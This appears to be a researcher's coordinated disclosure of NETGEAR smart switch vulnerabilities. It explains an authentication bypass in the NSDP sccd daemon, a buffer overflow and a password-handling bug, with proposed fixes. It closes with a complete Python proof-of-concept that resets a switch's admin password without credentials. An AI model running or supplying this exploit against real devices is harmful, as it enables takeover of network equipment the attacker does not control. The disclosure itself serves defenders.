TL;DR: NETGEAR just patched 3 reported vulnerabilities (Demon's Cries, Draconian Fear and Seventh Inferno) in some managed (smart) switches. If you or your company owns any of these devices, please patch now.
Note: Details on Seventh Inferno will be publish on or after 13th September.
Affected devices:
NETGEAR's advisory can be found here: Security Advisory for Multiple Vulnerabilities on Some Smart Switches, PSV-2021-0140, PSV-2021-0144, PSV-2021-0145.
Some human readable details are in the next section.
1 NETGEAR on the advisory page says it's 8.8 (High). The difference falls down to the AV:N vs AV:A part (i.e. Attack Vector: Network vs Adjacent). NETGEAR's argument is that basically since the attack cannot be done from the Internet / from outside of the LAN in which the device is, then the Attack Vector should be set to Adjacent. My argument is that while they are right on the technical part, the CVSS v3.1: Specification Document says Network should be used even if the attacker is required to be on the same intranet to exploit the vulnerable system (e.g., the attacker can only exploit the vulnerability from inside a corporate network). Not that it changes anything ;)
Published on September 6th, 2021.
Demon's Cries
*** Summary:
Affected Model: NETGEAR GS110TPV3 Smart Managed Pro Switch (and some other)
Firmware Version: V7.0.6.3 (from 2021-05-07)
NETGEAR GS110TPV3 Smart Managed Pro Switch with SCC Control enabled* is
vulnerable to an authentication bypass resulting in the attacker being able to
change admin's password (among other things), resulting in a full compromise of
the device.
* SCC Control (NETGEAR Smart Control Center) is disabled by default, and must be
manually enabled in the web UI (Security > Management Security > SCC Control).
Attached PoC will change the password to "AlaMaKota1234".
This report also points out:
- A currently non-exploitable buffer overflow in sccd's password verification
routine (triggerable even if SCC Control is disabled).
- A non-security logic bug in sccd's password verification routine preventing
authentication in case of some password patterns.
IMPORTANT: This vulnerability is reported under the 90-day policy, i.e. this
report will be shared publicly with the defensive community on 6th September
2021. See https://www.google.com/about/appsecurity/ for details.
NOTE: At this point in time I haven't checked what other models are affected,
but I strongly suspect other NETGEAR devices reuse the same code.
NOTE: This vulnerability is very similar - if not identical - to one found in
2012 in GS108E and GS105E, and implemented as a "feature" in e.g. ProSafeLinux
project:
https://github.com/tabacha/ProSafeLinux/blob/aa768d658ec10aa96833087e8bc344356411533b/psl_class.py#L390
*** More details:
Netgear Switch Discovery Protocol (NSDP) is implemented by the /sqfs/bin/sccd
daemon. The protocol itself is UDP based (port 63324 in case of this model) and
each datagram consists of a 32 byte header followed by a Type/Length/Value
chain, with each TLV consisting of a 4 byte header (2 bytes Type, 2 bytes
Length), followed by the Value bytes.
The sccd daemon can operate in two modes:
* Disabled (default), where it only answers basic queries about the device.
* Enabled, where it allows some of the configuration to be changed, as well
as grants access to downloading configs, uploading firmware images, etc.
Analyzing certain available administration tools painted a picture where most
"get" commands (used to retrieve information) can be operated without
authentication, however all of "set" commands require the type 10 "password
authentication" TLV to be first in the chain.
However, the sccd daemon on this device DOES NOT enforce this, i.e. the type 10
TLV can be omitted from the chain and in such case neither the password
verification takes place, nor does it seem to be required by any of the "set"
TLV handlers.
A case in point is the "set" TLV of type 9, which changes the password to the
one specified in the value. Sending just this one TLV is enough to change the
admin password on the device without knowing the previous password.
A funny bug related to authorization spawns from the fact that the password
(both in case of TLV type 10 "authentication" and TLV type 9 "password change")
is obfuscated by being XORed with "NtgrSmartSwitchRock". However, due to the
fact that in the handler of TLV type 10 an strlen() is called on the still
obfuscated password, it makes it impossible to authenticate correctly with
a password that happens to have the same character as the phrase above at a
given position.
E.g. let's say that the password is "Mug123" (note the "g" at position 3) -
XORed with the phrase above the result will be 03 01 00 43 61 5e. However,
strlen("\3\1\0\x43\x61\x53") will return 2 due to the null-byte in the middle,
and this value will be passed then to the password deobfuscation routine
(_sccd_password_decrypt), which in turn will deobfuscate only the first 2
characters of the password, preventing otherwise correct authentication.
One more vulnerability (benign in the current version of the firmware due to the
layout of the stack and presence of the stack canary) can be found in TLV type
10 handler even in case the sccd daemon operates in Disabled mode: the whole
password provided in the TLV is copied to a local buffer which is 65 bytes in
size, with no boundary check present. Pseudo-code:
uint8_t passwordCopy[65];
...
memcpy(passwordCopy, tlvValue, (uint)tlvValueSize);
Sending a TLV of type 10 with password set to e.g. 200 bytes will result in the
sccd daemon crashing:
*** stack smashing detected ***: /sqfs/bin/sccd terminated
*** Proposed fix:
The obvious fix is to require TLV type 10 to be present in the TLV chain prior
to any request that requires authentication. Ideally this should be achieved by
adding metadata to each handler stating whether it requires authentication and
verifying whether TLV type 10 was in the chain (current datagram) and succeeded.
The metadata approach can be implemented by extending the already existing
TLV type handler tables with another field per handler. This approach is better
than checking whether TLV chain "had authentication" in each handler separately
(since it's easy to forget to copy-paste the authentication check code when
extending the protocol).
Important: authentication must be required in each UDP datagram, and should not
prevail between datagrams - otherwise a real admin might authenticate in one
datagram, and a local attacker might spoof a UDP packet to e.g. change the
password in the next datagram.
The fix for the logic bug with strlen() being used on obfuscated password is to
not use strlen() and instead rely on the known size of the password (see also
below).
The fix to the buffer overflow with password length is to reject any
authentication attempt where the size of the value is larger than the buffer
size (i.e. 64 bytes in this case). For future-proofing the amount of bytes
copied by memcpy() from the TLV to the local buffer should also be limited to
the buffer size.
Please let me know if you have any questions.
*** PoC Exploit:
#!/usr/bin/python3
import socket
from struct import pack, unpack
import threading
import time
import sys
UDP_IP = "192.168.2.14" # Put target IP here.
UDP_PORT = 63324
PASSWORD = "AlaMaKota1234"
def db(v):
return pack(">B", v)
def dw(v):
return pack(">H", v)
def dd(v):
return pack(">I", v)
def make_header(
cmd,
status=0,
failure=0,
manager_mac=bytes(b"\1\1\1\1\1\1"),
agent_mac=bytes(b"\0\0\0\0\0\0"),
seq=0,
):
header = [
db(1),
db(cmd),
dw(status),
dw(failure),
dw(0),
manager_mac,
agent_mac,
dd(seq),
b"NSDP",
dd(0),
]
return b"".join(header)
def make_tlv(type, data=b""):
d = [
dw(type),
dw(len(data)),
data
]
return b''.join(d)
def make_end_tlv():
return make_tlv(0xffff);
def encrypt_password(pwd):
pwd = bytearray(pwd)
super_secret_string = bytearray(b"NtgrSmartSwitchRock")
for i in range(len(pwd)):
pwd[i] ^= super_secret_string[i % len(super_secret_string)]
return pwd
# Get sequence number.
if len(sys.argv) != 2:
print("usage: python3 nsdp_pwd_chg.py <sequence-number>")
print(
"Start with sequence-number 1. If it doesn't work, try a higher number.")
sys.exit(1)
# Construct the NDSP packet.
COMMAND_REQ_GET = 1
COMMAND_REQ_SET = 3
payload = make_header(
COMMAND_REQ_SET,
seq=int(sys.argv[1])
)
# TLV Type=10 (password authentication) seems optional :shrug:
payload += make_tlv(9, encrypt_password(bytes(PASSWORD, "utf-8")))
payload += make_end_tlv()
# Send the packet.
print("UDP target IP: %s" % UDP_IP)
print("UDP target port: %s" % UDP_PORT)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (UDP_IP, UDP_PORT))
print("Change password packet sent, waiting for response (10 sec)...")
# Wait for reply.
sock.settimeout(10)
try:
data, addr = sock.recvfrom(4096)
# Some heuristics to see if it worked.
if len(data) == 38:
print(f"IT WORKED! Try it logging in with password: {PASSWORD}")
elif len(data) == 32:
print("Failed. Maybe SCC Control is disabled?")
else:
print("No idea, heuristics failed. Try logging in anyway.")
except socket.timeout:
print("No response - device not found or sequence number too low.")
sock.close()